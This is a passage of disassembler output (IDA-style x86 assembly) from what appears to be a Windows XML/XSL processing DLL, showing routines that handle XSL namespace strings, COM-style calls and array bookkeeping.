		jl	short loc_69B6DCD3
		mov	ecx, [ebp+64h+arg_C]
		lea	edx, [ebx+ecx]
		cmp	edx, edi
		jnb	short loc_69B6DCCB
		mov	edx, [ebp+64h+arg_8]
		shl	edx, 2
		sub	edi, ecx
		inc	[ebp+64h+arg_8]
		mov	[ebp+edx+64h+var_80], ebx
		mov	[ebp+edx+64h+var_F8], edi


loc_69B6DCCB:				; CODE XREF: sub_69B6DBB2+101j
		cmp	eax, esi
		jnb	short loc_69B6DD01
		mov	ebx, eax
		jmp	short loc_69B6DCF9
; ---------------------------------------------------------------------------


loc_69B6DCD3:				; CODE XREF: sub_69B6DBB2+F7j
		cmp	eax, esi
		jnb	short loc_69B6DCEB
		mov	ecx, [ebp+64h+arg_8]
		shl	ecx, 2
		inc	[ebp+64h+arg_8]
		mov	[ebp+ecx+64h+var_80], eax
		mov	[ebp+ecx+64h+var_F8], esi


loc_69B6DCEB:				; CODE XREF: sub_69B6DBB2+123j
		mov	eax, [ebp+64h+arg_C]
		add	eax, ebx
		cmp	eax, edi
		jnb	short loc_69B6DD01
		sub	edi, [ebp+64h+arg_C]
		mov	esi, edi


loc_69B6DCF9:				; CODE XREF: sub_69B6DBB2+11Fj
		mov	edi, [ebp+64h+arg_C]
		jmp	loc_69B6DBE4
; ---------------------------------------------------------------------------


loc_69B6DD01:				; CODE XREF: sub_69B6DBB2+11Bj
					; sub_69B6DBB2+140j
		mov	edi, [ebp+64h+arg_C]


loc_69B6DD04:				; CODE XREF: sub_69B6DBB2+45j
					; sub_69B6DBB2+83j
		dec	[ebp+64h+arg_8]
		js	short loc_69B6DD1F
		mov	eax, [ebp+64h+arg_8]
		shl	eax, 2
		mov	ebx, [ebp+eax+64h+var_80]
		mov	esi, [ebp+eax+64h+var_F8]
		jmp	loc_69B6DBE4
; ---------------------------------------------------------------------------


loc_69B6DD1F:				; CODE XREF: sub_69B6DBB2+155j
		pop	ebx


loc_69B6DD20:				; CODE XREF: sub_69B6DBB2+1Ej
		pop	edi


loc_69B6DD21:				; CODE XREF: sub_69B6DBB2+12j
		pop	esi
		add	ebp, 64h
		leave
		retn
sub_69B6DBB2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6DD27	proc near		; CODE XREF: sub_69B6DD83+3j
					; DATA XREF: .text:69B1F65Co
		mov	eax, offset off_69B6DD30
		retn
sub_69B6DD27	endp

; ---------------------------------------------------------------------------
		align 10h
off_69B6DD30	dd offset off_69B29C74	; DATA XREF: sub_69B6DD27o
		dd offset sub_69B6C893

; =============== S U B	R O U T	I N E =======================================



sub_69B6DD38	proc near		; CODE XREF: sub_69B6969A+14p
					; sub_69B6DD88+14p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		push	edi
		lea	eax, ds:10h[ebx*4]
		push	eax
		mov	edi, ecx
		call	sub_69B17EF3
		mov	esi, eax
		mov	ecx, esi
		mov	[esi+8], ebx
		call	sub_69B19118
		push	0
		push	edi
		mov	dword ptr [esi], offset	off_69B1F680
		push	dword ptr [edi+8]
		mov	ecx, esi
		push	0
		call	sub_69B2E6E3
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_69B6DD38	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6DD77	proc near		; DATA XREF: .text:69B1F61Co
		push	5
		pop	eax
		retn
sub_69B6DD77	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6DD7B	proc near		; DATA XREF: .text:69B15554o
					; .text:69B156F4o ...

arg_0		= byte ptr  4

		sub	ecx, 8
		jmp	sub_69B65878
sub_69B6DD7B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6DD83	proc near		; DATA XREF: .text:69B1F5FCo
		sub	ecx, 8
		jmp	short sub_69B6DD27
sub_69B6DD83	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6DD88	proc near		; CODE XREF: sub_69B1F57B+47p
					; sub_69B1F57B+52p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+10h]
		mov	ecx, [edi]
		mov	eax, [ecx+8]
		cmp	[esi+14h], eax
		jl	short loc_69B6DDA8
		add	eax, eax
		push	eax
		call	sub_69B6DD38
		push	eax
		push	edi
		call	sub_69B17320


loc_69B6DDA8:				; CODE XREF: sub_69B6DD88+Fj
		push	dword ptr [esi+14h]
		mov	ecx, [edi]
		call	sub_69B1A954
		push	[esp+8+arg_0]
		push	eax
		call	sub_69B17320
		inc	dword ptr [esi+14h]
		pop	edi
		pop	esi
		retn	4
sub_69B6DD88	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6DDC4	proc near		; DATA XREF: .text:69B1F62Co
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		xor	edi, edi
		cmp	[esi+0Ch], edi
		mov	ebx, 300h
		jle	short loc_69B6DDF1


loc_69B6DDD5:				; CODE XREF: sub_69B6DDC4+2Bj
		mov	ecx, [esi+8]
		push	edi
		call	sub_69B1A954
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_69B6DDEB
		mov	eax, [ecx]
		call	dword ptr [eax+4Ch]
		and	ebx, eax


loc_69B6DDEB:				; CODE XREF: sub_69B6DDC4+1Ej
		inc	edi
		cmp	edi, [esi+0Ch]
		jl	short loc_69B6DDD5


loc_69B6DDF1:				; CODE XREF: sub_69B6DDC4+Fj
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn
sub_69B6DDC4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6DDF7	proc near		; DATA XREF: .text:69B1F634o

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	edi
		push	100h
		mov	esi, ecx
		call	sub_69B88D8C
		xor	edi, edi
		cmp	[esi+0Ch], edi
		mov	[ebp+var_4], eax
		jle	short loc_69B6DE64


loc_69B6DE15:				; CODE XREF: sub_69B6DDF7+6Bj
		mov	ecx, [esi+8]
		and	[ebp+var_14], 0
		push	edi
		mov	[ebp+var_10], 0
		call	sub_69B1A954
		mov	ecx, [eax]
		mov	eax, [ecx]
		lea	edx, [ebp+var_14]
		push	edx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword ptr [eax+54h]
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_14]
		push	eax
		push	5
		lea	ecx, [ebp+var_14]
		call	sub_69B64008
		push	[ebp+var_C]
		mov	ecx, [ebp+var_4]
		call	sub_69B88EA5
		lea	ecx, [ebp+var_14]
		call	sub_69B466CC
		inc	edi
		cmp	edi, [esi+0Ch]
		jl	short loc_69B6DE15


loc_69B6DE64:				; CODE XREF: sub_69B6DDF7+1Cj
		push	[ebp+var_4]
		call	sub_69B2F0E0
		mov	ecx, [ebp+arg_C]
		push	eax
		call	sub_69B48684
		pop	edi
		pop	esi
		leave
		retn	10h
sub_69B6DDF7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6DE7B	proc near		; CODE XREF: sub_69B6DF01+3j
					; DATA XREF: .text:69B1F668o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B6C84F
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+10h]
		mov	ebp, eax
		mov	eax, [esi+14h]
		mov	[ebp+14h], eax
		mov	ebx, [esi+14h]
		lea	eax, ds:10h[ebx*4]
		push	eax
		call	sub_69B17EF3
		mov	edi, eax
		mov	ecx, edi
		mov	[edi+8], ebx
		call	sub_69B19118
		push	edi
		lea	ebx, [ebp+10h]
		push	ebx
		mov	dword ptr [edi], offset	off_69B1F680
		call	sub_69B17320
		xor	edi, edi
		cmp	[esi+14h], edi
		jle	short loc_69B6DEF7


loc_69B6DECA:				; CODE XREF: sub_69B6DE7B+7Aj
		mov	eax, [esi+10h]
		mov	ecx, [ebx]
		push	edi
		mov	[esp+1Ch+var_8], eax
		call	sub_69B1A954
		mov	ecx, [esp+18h+var_8]
		push	edi
		mov	[esp+1Ch+var_4], eax
		call	sub_69B1A954
		mov	ecx, [esp+18h+var_4]
		push	eax
		call	sub_69B4D414
		inc	edi
		cmp	edi, [esi+14h]
		jl	short loc_69B6DECA


loc_69B6DEF7:				; CODE XREF: sub_69B6DE7B+4Dj
		pop	edi
		pop	esi
		lea	eax, [ebp+8]
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_69B6DE7B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6DF01	proc near		; DATA XREF: .text:69B1F608o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	ecx, 8
		jmp	sub_69B6DE7B
sub_69B6DF01	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6DF09	proc near		; DATA XREF: .text:69B1F628o

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		lea	ecx, [esi-8]
		call	sub_69B6DD88
		lea	eax, [esi-8]
		neg	eax
		sbb	eax, eax
		and	eax, esi
		pop	esi
		retn	4
sub_69B6DF09	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6DF25	proc near		; CODE XREF: sub_69B6C7E4+Ep
		push	18h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B6DF37
		mov	ecx, eax
		jmp	sub_69B1F57B
; ---------------------------------------------------------------------------


loc_69B6DF37:				; CODE XREF: sub_69B6DF25+9j
		xor	eax, eax
		retn	8
sub_69B6DF25	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6DF3C	proc near		; CODE XREF: DllGetClassObject+63F1p
					; sub_69B6EDDE+10p
		push	3Ch
		push	offset dword_69B6E0F8
		call	sub_69B19C5C
		xor	ebx, ebx
		cmp	byte_69B9B640, bl
		jnz	loc_69B6E09B
		push	dword_69B929E8
		lea	ecx, [ebp-1Ch]
		call	sub_69B18E23
		push	1
		lea	ecx, [ebp-28h]
		call	sub_69B11D3B
		mov	[ebp-4], ebx
		cmp	byte_69B9B640, bl
		jnz	loc_69B6E087
		push	offset off_69B6E0A8
		call	sub_69B19611
		mov	[ebp-2Ch], eax
		push	eax		; Value
		mov	ecx, offset dword_69B9B638 ; Target
		call	sub_69B188DC
		push	offset off_69B6E0B8
		call	sub_69B19611
		mov	[ebp-30h], eax
		push	eax		; Value
		mov	ecx, offset dword_69B9B630 ; Target
		call	sub_69B188DC
		push	offset off_69B6E0C8
		call	sub_69B19611
		mov	[ebp-34h], eax
		push	eax		; Value
		mov	ecx, offset dword_69B9B628 ; Target
		call	sub_69B188DC
		push	offset off_69B29CC4
		call	sub_69B19611
		mov	[ebp-38h], eax
		push	eax		; Value
		mov	ecx, offset dword_69B9B620 ; Target
		call	sub_69B188DC
		push	offset off_69B6E0D8
		call	sub_69B19611
		mov	[ebp-3Ch], eax
		push	eax		; Value
		mov	ecx, offset dword_69B9B618 ; Target
		call	sub_69B188DC
		mov	esi, offset off_69B9A450


loc_69B6DFFA:				; CODE XREF: sub_69B6DF3C+F7j
		mov	[ebp-40h], esi
		cmp	[esi], ebx
		jz	short loc_69B6E035
		test	byte ptr [esi+8], 1
		jz	short loc_69B6E01C
		push	dword ptr [esi]
		call	sub_69B19611
		mov	[ebp-44h], eax
		push	eax		; Value
		mov	ecx, [esi+4]
		call	sub_69B2FA30
		jmp	short loc_69B6E030
; ---------------------------------------------------------------------------


loc_69B6E01C:				; CODE XREF: sub_69B6DF3C+C9j
		push	ebx
		push	dword ptr [esi]
		call	sub_69B192B7
		mov	[ebp-48h], eax
		push	eax		; Value
		mov	ecx, [esi+4]
		call	sub_69B2FA30


loc_69B6E030:				; CODE XREF: sub_69B6DF3C+DEj
		add	esi, 0Ch
		jmp	short loc_69B6DFFA
; ---------------------------------------------------------------------------


loc_69B6E035:				; CODE XREF: sub_69B6DF3C+C3j
		push	dword_69B9B628
		push	offset off_69B6E0E8
		call	sub_69B192B7
		mov	[ebp-4Ch], eax
		push	eax		; Value
		mov	ecx, offset dword_69B9B510 ; Target
		call	sub_69B188DC
		call	sub_69B70407
		call	sub_69B7024C
		mov	byte_69B9B640, 1
		jmp	short loc_69B6E087
; ---------------------------------------------------------------------------


loc_69B6E066:				; DATA XREF: .text:69B6E0FCo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B6E06F:				; DATA XREF: .text:69B6E100o
		mov	esp, [ebp-18h]
		lea	ecx, [ebp-1Ch]
		call	sub_69B1900C
		lea	ecx, [ebp-28h]
		call	sub_69B2D599
		call	sub_69B2E860


loc_69B6E087:				; CODE XREF: sub_69B6DF3C+3Bj
					; sub_69B6DF3C+128j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		lea	ecx, [ebp-1Ch]
		call	sub_69B1900C


loc_69B6E09B:				; CODE XREF: sub_69B6DF3C+14j
		call	sub_69B1853C
		retn
sub_69B6DF3C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 8
off_69B6E0A8	dd offset off_69B17D10	; DATA XREF: sub_69B6DF3C+41o
		align 10h
		dd 1Bh
		dd offset aHttpWww_w3_o_0 ; "http://www.w3.org/TR/WD-xsl"
off_69B6E0B8	dd offset off_69B17D10	; DATA XREF: sub_69B6DF3C+59o
		align 10h
		dd 7
		dd offset aUriXsl	; "uri:xsl"
off_69B6E0C8	dd offset off_69B17D10	; DATA XREF: sub_69B6DF3C+71o
		align 10h
		dd 24h
		dd offset aHttpWww_w3_o_1 ; "http://www.w3.org/1999/XSL/Transform"
off_69B6E0D8	dd offset off_69B17D10	; DATA XREF: sub_69B6DF3C+A1o
		align 10h
		dd 3
		dd offset aXsl_0	; "xsl"
off_69B6E0E8	dd offset off_69B17D10	; DATA XREF: sub_69B6DF3C+FFo
					; .data:69B9A5C4o
		align 10h
		dd 7
		dd offset aVersion_2	; "version"
dword_69B6E0F8	dd 0FFFFFFFFh			dd offset loc_69B6E066
		dd offset loc_69B6E06F
		align 8
aHttpWww_w3_o_0:			; DATA XREF: .text:69B6E0B4o
		unicode	0, <http://www.w3.org/TR/WD-xsl>,0
aUriXsl:				; DATA XREF: .text:69B6E0C4o
		unicode	0, <uri:xsl>,0
aHttpWww_w3_o_1:			; DATA XREF: .text:69B6E0D4o
		unicode	0, <http://www.w3.org/1999/XSL/Transform>,0
		align 4
aXsl_0:					; DATA XREF: .text:69B6E0E4o
		unicode	0, <xsl>,0
		align 8
aVersion_2:				; DATA XREF: .text:69B6E0F4o
		unicode	0, <version>,0

; =============== S U B	R O U T	I N E =======================================



sub_69B6E1B8	proc near		; CODE XREF: sub_69B6699A+316p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, [eax+10h]
		cmp	dword_69B9B620,	ecx
		jnz	short loc_69B6E1D9
		mov	edx, dword_69B9B530
		xor	ecx, ecx
		cmp	edx, [eax+14h]
		setz	cl
		mov	al, cl
		jmp	short locret_69B6E206
; ---------------------------------------------------------------------------


loc_69B6E1D9:				; CODE XREF: sub_69B6E1B8+Dj
		cmp	dword_69B9B628,	ecx
		jnz	short loc_69B6E204
		mov	ecx, [eax+14h]
		mov	eax, [ecx]
		call	dword ptr [eax+2Ch]
		push	dword ptr [eax+8]
		mov	ecx, [eax+0Ch]
		push	ecx
		push	17h
		push	offset off_69B9A708
		call	sub_69B63D0A
		test	eax, eax
		jz	short loc_69B6E204
		mov	al, 1
		jmp	short locret_69B6E206
; ---------------------------------------------------------------------------


loc_69B6E204:				; CODE XREF: sub_69B6E1B8+27j
					; sub_69B6E1B8+46j
		xor	al, al

locret_69B6E206:			; CODE XREF: sub_69B6E1B8+1Fj
					; sub_69B6E1B8+4Aj
		retn	4
sub_69B6E1B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6E209	proc near		; CODE XREF: sub_69B6E648+1Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	edx, [ecx+4]
		lea	eax, [eax+eax*2]
		movzx	eax, byte_69B9A8A8[edx+eax*4]
		cmp	eax, 9
		jz	short locret_69B6E22A
		cmp	eax, 0Ah
		jz	short locret_69B6E22A
		mov	[ecx], edx
		mov	[ecx+4], eax

locret_69B6E22A:			; CODE XREF: sub_69B6E209+15j
					; sub_69B6E209+1Aj
		retn	4
sub_69B6E209	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6E22D	proc near		; CODE XREF: sub_69B6E6C4+21p

arg_0		= dword	ptr  4

		cmp	[esp+arg_0], 3
		jnz	short loc_69B6E239
		push	0Ah
		pop	eax
		jmp	short locret_69B6E259
; ---------------------------------------------------------------------------


loc_69B6E239:				; CODE XREF: sub_69B6E22D+5j
		cmp	[esp+arg_0], 0Fh
		lea	eax, [ecx+4]
		mov	edx, [eax]
		mov	[ecx], edx
		jnz	short loc_69B6E254
		cmp	edx, 5
		jz	short loc_69B6E257
		mov	dword ptr [eax], 1
		jmp	short loc_69B6E257
; ---------------------------------------------------------------------------


loc_69B6E254:				; CODE XREF: sub_69B6E22D+18j
		and	dword ptr [eax], 0


loc_69B6E257:				; CODE XREF: sub_69B6E22D+1Dj
					; sub_69B6E22D+25j
		mov	eax, [eax]

locret_69B6E259:			; CODE XREF: sub_69B6E22D+Aj
		retn	4
sub_69B6E22D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6E25C	proc near		; CODE XREF: sub_69B6F131+37p

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		jz	short locret_69B6E274
		movzx	eax, [esp+arg_0]
		shl	eax, 3
		xor	eax, [ecx+58h]
		and	eax, 8
		xor	[ecx+58h], eax

locret_69B6E274:			; CODE XREF: sub_69B6E25C+5j
		retn	4
sub_69B6E25C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6E277	proc near		; CODE XREF: sub_69B6ACD6+3Bp
					; sub_69B6E8BD+53p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_C]
		test	ecx, ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, offset off_69B1A5AC
		jz	short loc_69B6E290
		mov	eax, [ecx]
		call	dword ptr [eax+2Ch]
		mov	ebx, eax
		jmp	short loc_69B6E292
; ---------------------------------------------------------------------------


loc_69B6E290:				; CODE XREF: sub_69B6E277+Ej
		mov	ebx, esi


loc_69B6E292:				; CODE XREF: sub_69B6E277+17j
		mov	ecx, [esp+0Ch+arg_8]
		test	ecx, ecx
		jz	short loc_69B6E2A3
		mov	eax, [ecx]
		call	dword ptr [eax+2Ch]
		mov	edi, eax
		jmp	short loc_69B6E2A5
; ---------------------------------------------------------------------------


loc_69B6E2A3:				; CODE XREF: sub_69B6E277+21j
		mov	edi, esi


loc_69B6E2A5:				; CODE XREF: sub_69B6E277+2Aj
		mov	ecx, [esp+0Ch+arg_4]
		test	ecx, ecx
		jz	short loc_69B6E2B4
		mov	eax, [ecx]
		call	dword ptr [eax+2Ch]
		jmp	short loc_69B6E2B6
; ---------------------------------------------------------------------------


loc_69B6E2B4:				; CODE XREF: sub_69B6E277+34j
		mov	eax, esi


loc_69B6E2B6:				; CODE XREF: sub_69B6E277+3Bj
		push	0
		push	ebx
		push	edi
		push	eax
		push	[esp+1Ch+arg_0]
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		retn	10h
sub_69B6E277	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6E2D2	proc near		; DATA XREF: .text:69B185F4o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		lea	eax, [ecx-10h]
		push	[esp+4+arg_8]
		add	ecx, 7Ch
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		push	eax
		call	sub_69B71074
		retn	10h
sub_69B6E2D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6E2F1	proc near		; DATA XREF: .text:69B185F8o

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		lea	eax, [ecx-10h]
		push	eax
		add	ecx, 7Ch
		call	sub_69B70A67
		retn	4
sub_69B6E2F1	endp

; ---------------------------------------------------------------------------


loc_69B6E304:				; DATA XREF: .text:off_69B185E0o
		mov	eax, [esp+4]
		sub	eax, 0
		jz	short loc_69B6E327
		dec	eax
		jz	short loc_69B6E31F
		dec	eax
		jz	short loc_69B6E317
		xor	al, al
		jmp	short locret_69B6E330
; ---------------------------------------------------------------------------


loc_69B6E317:				; CODE XREF: .text:69B6E311j
		mov	eax, [ecx+44h]
		shr	eax, 7
		jmp	short loc_69B6E32D
; ---------------------------------------------------------------------------


loc_69B6E31F:				; CODE XREF: .text:69B6E30Ej
		mov	eax, [ecx+44h]
		shr	eax, 6
		jmp	short loc_69B6E32D
; ---------------------------------------------------------------------------


loc_69B6E327:				; CODE XREF: .text:69B6E30Bj
		mov	eax, [ecx+44h]
		shr	eax, 2


loc_69B6E32D:				; CODE XREF: .text:69B6E31Dj
					; .text:69B6E325j
		and	eax, 1

locret_69B6E330:			; CODE XREF: .text:69B6E315j
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_69B6E333	proc near		; CODE XREF: sub_69B7401B+20p
					; sub_69B74222+6Cp
		push	esi
		mov	esi, ecx
		cmp	byte ptr [esi+1Ch], 0
		jnz	short loc_69B6E35D
		mov	ecx, [esi+18h]
		call	sub_69B3D989
		mov	ecx, [esi+0B4h]
		mov	eax, [ecx]
		call	dword ptr [eax+0B4h]
		mov	ecx, eax
		call	sub_69B3D989
		mov	byte ptr [esi+1Ch], 1


loc_69B6E35D:				; CODE XREF: sub_69B6E333+7j
		pop	esi
		retn
sub_69B6E333	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6E35F	proc near		; CODE XREF: sub_69B6ED05+14p
		push	esi
		mov	esi, ecx
		cmp	byte ptr [esi+1Ch], 0
		jz	short loc_69B6E395
		mov	ecx, [esi+18h]
		test	ecx, ecx
		jz	short loc_69B6E376
		push	0
		call	sub_69B3D9B7


loc_69B6E376:				; CODE XREF: sub_69B6E35F+Ej
		mov	ecx, [esi+0B4h]
		test	ecx, ecx
		jz	short loc_69B6E391
		mov	eax, [ecx]
		push	0
		call	dword ptr [eax+0B4h]
		mov	ecx, eax
		call	sub_69B3D9B7


loc_69B6E391:				; CODE XREF: sub_69B6E35F+1Fj
		mov	byte ptr [esi+1Ch], 0


loc_69B6E395:				; CODE XREF: sub_69B6E35F+7j
		pop	esi
		retn
sub_69B6E35F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6E397	proc near		; CODE XREF: sub_69B6B945+Ap
					; sub_69B6EBE0+Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		mov	eax, esi
		imul	eax, 1Ch
		add	eax, [esp+4+arg_0]
		push	eax
		call	sub_69B17EF3
		mov	[eax+8], esi
		pop	esi
		retn
sub_69B6E397	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6E3B0	proc near		; CODE XREF: sub_69B6EB1C+11p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [ecx]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		push	edi
		push	[esp+8+arg_8]
		push	[esp+0Ch+arg_4]
		push	eax
		call	dword ptr [edx+3Ch]
		mov	edi, eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+30h]
		mov	eax, edi
		pop	edi
		pop	esi
		retn	0Ch
sub_69B6E3B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6E3D7	proc near		; DATA XREF: .text:69B18618o
		push	10h
		push	offset dword_69B6E438
		call	sub_69B19C5C
		and	dword ptr [ebp-4], 0
		mov	eax, [ebp+8]
		mov	ecx, [eax+54h]
		mov	eax, [ecx]
		call	dword ptr [eax+3Ch]
		mov	ecx, eax
		mov	[ebp-1Ch], ecx
		call	sub_69B2F352
		mov	ecx, [ebp+0Ch]
		mov	[ecx], eax
		xor	eax, eax
		mov	[ebp-20h], eax
		jmp	short loc_69B6E426
; ---------------------------------------------------------------------------


loc_69B6E408:				; DATA XREF: .text:69B6E43Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B6E411:				; DATA XREF: .text:69B6E440o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804


loc_69B6E426:				; CODE XREF: sub_69B6E3D7+2Fj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_69B1853C
		retn	8
sub_69B6E3D7	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B6E438	dd 0FFFFFFFFh			dd offset loc_69B6E408
		dd offset loc_69B6E411

; =============== S U B	R O U T	I N E =======================================



sub_69B6E444	proc near		; DATA XREF: .text:69B140B4o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		mov	ecx, [esp+4+arg_0]
		call	sub_69B71363
		retn	8
sub_69B6E444	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6E454	proc near		; DATA XREF: .text:69B140F4o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		mov	ecx, [esp+4+arg_0]
		call	sub_69B71542
		retn	8
sub_69B6E454	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6E464	proc near		; DATA XREF: .text:69B13D60o
					; .text:69B140B0o ...
		push	1Ch
		pop	eax
		retn
sub_69B6E464	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6E468	proc near		; CODE XREF: .text:69B6E4F8p
					; .text:69B6E512p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [ecx+2Ch]
		mov	edx, [esp+arg_0]
		add	eax, 0Ch
		test	edx, edx
		jg	short loc_69B6E491
		movsx	ecx, word ptr [ecx+32h]
		imul	ecx, 1Ch
		lea	ecx, [ecx+eax-1Ch]
		cmp	dword ptr [ecx+18h], 0
		jnz	short loc_69B6E48A
		sub	ecx, 1Ch


loc_69B6E48A:				; CODE XREF: sub_69B6E468+1Dj
		imul	edx, 1Ch
		add	ecx, edx
		jmp	short loc_69B6E498
; ---------------------------------------------------------------------------


loc_69B6E491:				; CODE XREF: sub_69B6E468+Cj
		imul	edx, 1Ch
		add	edx, eax
		mov	ecx, edx


loc_69B6E498:				; CODE XREF: sub_69B6E468+27j
		push	esi
		mov	esi, [esp+4+arg_4]
		test	esi, esi
		jnz	short loc_69B6E4A5
		mov	eax, ecx
		jmp	short loc_69B6E4E9
; ---------------------------------------------------------------------------


loc_69B6E4A5:				; CODE XREF: sub_69B6E468+37j
		push	edi
		xor	edi, edi
		inc	edi
		cmp	esi, edi
		jz	short loc_69B6E4E8
		test	esi, esi
		jge	short loc_69B6E4BC
		or	edi, 0FFFFFFFFh
		mov	edx, ecx
		neg	esi
		mov	ecx, eax
		jmp	short loc_69B6E4BF
; ---------------------------------------------------------------------------


loc_69B6E4BC:				; CODE XREF: sub_69B6E468+47j
		lea	edx, [eax+1Ch]


loc_69B6E4BF:				; CODE XREF: sub_69B6E468+52j
		dec	esi
		push	ebx


loc_69B6E4C1:				; CODE XREF: sub_69B6E468+6Fj
		cmp	dword ptr [edx+0Ch], 0
		jz	short loc_69B6E4CC
		test	esi, esi
		jz	short loc_69B6E4D9
		dec	esi


loc_69B6E4CC:				; CODE XREF: sub_69B6E468+5Dj
		cmp	edx, ecx
		jz	short loc_69B6E4DD
		mov	ebx, edi
		imul	ebx, 1Ch
		add	edx, ebx
		jmp	short loc_69B6E4C1
; ---------------------------------------------------------------------------


loc_69B6E4D9:				; CODE XREF: sub_69B6E468+61j
		mov	eax, edx
		jmp	short loc_69B6E4E7
; ---------------------------------------------------------------------------


loc_69B6E4DD:				; CODE XREF: sub_69B6E468+66j
		cmp	edx, eax
		jnz	short loc_69B6E4E5
		test	esi, esi
		jz	short loc_69B6E4E7


loc_69B6E4E5:				; CODE XREF: sub_69B6E468+77j
		xor	eax, eax


loc_69B6E4E7:				; CODE XREF: sub_69B6E468+73j
					; sub_69B6E468+7Bj
		pop	ebx


loc_69B6E4E8:				; CODE XREF: sub_69B6E468+43j
		pop	edi


loc_69B6E4E9:				; CODE XREF: sub_69B6E468+3Bj
		pop	esi
		retn	8
sub_69B6E468	endp

; ---------------------------------------------------------------------------


loc_69B6E4ED:				; DATA XREF: .text:off_69B185E8o
		push	dword ptr [esp+8]
		add	ecx, 0FFFFFFF0h
		push	dword ptr [esp+8]
		call	sub_69B6E468
		test	eax, eax
		jz	short locret_69B6E504
		mov	eax, [eax+18h]

locret_69B6E504:			; CODE XREF: .text:69B6E4FFj
		retn	8
; ---------------------------------------------------------------------------


loc_69B6E507:				; DATA XREF: .text:69B185ECo
		push	dword ptr [esp+8]
		add	ecx, 0FFFFFFF0h
		push	dword ptr [esp+8]
		call	sub_69B6E468
		test	eax, eax
		jz	short locret_69B6E51E
		mov	eax, [eax+0Ch]

locret_69B6E51E:			; CODE XREF: .text:69B6E519j
		retn	8
; ---------------------------------------------------------------------------


loc_69B6E521:				; DATA XREF: .text:69B185F0o
		push	esi
		push	edi
		push	0
		push	dword ptr [esp+10h]
